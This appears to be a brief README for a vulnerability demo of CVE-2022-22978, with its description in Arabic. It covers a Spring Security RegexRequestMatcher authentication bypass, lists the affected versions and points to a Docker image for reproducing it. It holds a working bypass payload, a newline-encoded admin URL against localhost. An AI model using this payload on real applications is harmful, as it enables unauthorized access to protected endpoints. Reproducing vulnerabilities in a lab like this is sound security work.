CVE-2022-22978

CVE-2022-22978 Spring-Security bypass Demo

عند استخدام RegexRequestMatcher في Spring Security وكانت القواعد تحتوي على تعبير نمطي بنقطة، يستطيع المهاجم تجاوز المصادقة عبر إنشاء حزمة بيانات خبيثة

النطاق المتأثر

Spring Security 5.5.x < 5.5.7
Spring Security 5.6.x < 5.6.4

إعادة الإنتاج

Paylaod

http://localhost:8080/admin/index%0a

Docker

docker pull s0cke3t/cve-2022-22978:latest